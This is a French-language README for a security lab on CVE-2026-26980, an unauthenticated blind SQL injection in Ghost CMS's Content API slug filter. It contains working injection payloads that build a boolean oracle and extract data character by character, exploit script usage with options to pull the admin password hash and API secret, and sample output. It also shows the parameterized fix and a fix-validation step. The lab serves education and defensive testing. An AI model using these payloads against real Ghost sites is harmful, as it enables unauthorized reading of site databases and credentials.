
CVE-2026-26980 — Laboratoire d'injection SQL de l'API de contenu Ghost CMS (SQLi aveugle non authentifié via le tri du filtre slug)
Injection SQL aveugle non authentifiée dans Ghost CMS via le mécanisme de tri du filtre slug de l'API Content, permettant des lectures arbitraires de la base de données depuis n'importe quelle instance Ghost sans identifiants.
| CVE | CVE-2026-26980 |
| Avis de sécurité | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critique) |
| CWE | CWE-89 (Injection SQL) |
| Versions affectées | Ghost 3.24.0 -- 6.19.0 |
| Version corrigée | Ghost 6.19.1 |
| Authentification requise | Aucune (la clé de l'API Content est publique par conception) |
| Crédit/Références | Nicholas Carlini avec Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Avertissement -- Ce laboratoire est destiné uniquement aux tests de sécurité autorisés, à l'éducation et à la recherche défensive. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
L'API Content de Ghost prend en charge le filtrage des tags et des articles par slug en utilisant la notation de tableau : filter=slug:[tag-a,tag-b]. En interne, une fonction utilitaire construit une instruction ORDER BY CASE pour préserver l'ordre des slugs demandé. Avant la v6.19.1, les valeurs de slug fournies par l'utilisateur étaient interpolées directement dans ce SQL sans paramétrisation :
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNÉRABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
La clé de l'API Content est intégrée dans le HTML de chaque site Ghost (data-key="..."), ce qui en fait une surface d'attaque entièrement non authentifiée.
Le langage de requête NQL de Ghost valide les entrées du filtre et rejette les guillemets simples bruts ou les espaces. Cependant, NQL accepte les valeurs entourées de guillemets simples dans la notation de tableau (slug:['valeur']), en transmettant les guillemets comme faisant partie du littéral. L'expression régulière slugFilterOrder extrait ces valeurs et les interpole — guillemets inclus — dans le SQL :
Filtre : slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL transmet les guillemets comme caractères littéraux
Après interpolation, le ORDER BY devient :
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
Dans le mode SQL par défaut de MySQL, || est OR et '' est faux. Cela nous donne un oracle booléen propre :
| Condition | Résultat CASE | Effet |
|---|---|---|
| VRAI | '' OR 0 OR '' = 0 | Réponse normale (HTTP 200) |
| FAUX | '' OR EXP(710) OR '' | Erreur de dépassement DOUBLE (HTTP 500) |
Avec l'oracle établi, l'extraction aveugle standard par recherche binaire s'applique :
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
La syntaxe SUBSTR(... FROM pos FOR len) évite les virgules (que slugFilterOrder utilise comme séparateurs).
| VRAI (1=1) → HTTP 200 | FAUX (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





Le correctif remplace l'interpolation de chaînes par des liaisons paramétrées :
// CORRIGÉ
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
Le plugin crud.js a été mis à jour pour transmettre les liaisons via orderByRaw, et @tryghost/bookshelf-plugins a été mis à niveau vers 0.6.29 qui ajoute la prise en charge des liaisons.
requests# Cloner et entrer dans le laboratoire
git clone <ce-dépôt> && cd ghost-cve-2026-26980
# Installer la dépendance Python
pip install -r requirements.txt
# Démarrer l'instance Ghost vulnérable (6.18.0 + MySQL 8)
docker compose up -d
# Attendre ~45 secondes que Ghost s'initialise, puis exécuter l'exploit
python3 exploit.py --url http://localhost:2368
# Démarrer également le Ghost 6.19.1 corrigé sur le port 2369
docker compose --profile fixed up -d
# Attendre ~45 secondes, puis confirmer que le correctif bloque l'injection
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL URL de Ghost (défaut : http://localhost:2368)
--validate-fix Confirmer que la cible n'est PAS vulnérable
--extract-password Extraire également le hash bcrypt de l'admin
--extract-api-key Extraire également le secret de l'API admin
--content-key KEY Ignorer la configuration, utiliser directement cette clé de l'API Content
-v, --verbose Afficher les résultats de l'oracle par requête
====================================================
CVE-2026-26980 — Injection SQL dans l'API Content de Ghost CMS
====================================================
[*] Attente que Ghost soit prêt sur http://localhost:2368
[*] Configuration de Ghost (admin : [email protected])
[+] Configuration terminée — établissement de la session
[+] Connecté
[+] Clé de l'API Content : ad63c06a71457583ea58f050c1
[+] Slug d'ancrage : news
[*] Phase 1 — vérification aveugle booléenne
CASE WHEN 1=1 : 200 (VRAI)
CASE WHEN 1=0 : 500 (FAUX)
[+] Oracle booléen confirmé — VULNÉRABLE
[*] Phase 2a — extraction de l'email admin
Mesure de la longueur de l'email admin... 21 caractères
Extraction : [email protected]
[+] Email : [email protected]
============================================================
RÉSUMÉ DE L'EXPLOITATION
============================================================
Cible : http://localhost:2368
CVE : CVE-2026-26980
Clé Content : ad63c06a71457583ea58f050c1
Email admin : [email protected]
============================================================
Une deuxième vulnérabilité a été corrigée dans la même version. L'assistant Handlebars {{#get}} de Ghost utilisait le paquet jsonpath (qui dépend de static-eval) pour résoudre les expressions de chemin. Des thèmes malveillants pouvaient concevoir des expressions atteignant Function() via la traversée du prototype, permettant l'exécution de code côté serveur.
| CVE | CVE-2026-29053 |
| Versions affectées | Ghost 0.7.2 -- 6.19.0 |
| Authentification | Admin (téléversement de thème) |
| Correctif | Remplacement de jsonpath par une fonction querySimplePath() restreinte qui ne prend en charge que la notation par points, [N] et [*] |
Ce laboratoire se concentre sur CVE-2026-26980 car elle est non authentifiée et plus impactante pour les attaquants externes.
.
├── README.md # Ce fichier
├── docker-compose.yml # Ghost 6.18.0 (vulnérable) + 6.19.1 (corrigé) avec MySQL 8
├── exploit.py # PoC complet : configuration, vérification, extraction
├── validate.sh # Script de validation de bout en bout
└── requirements.txt # Dépendances Python
Ce laboratoire est fourni à des fins éducatives et de tests de sécurité autorisés sous la licence MIT.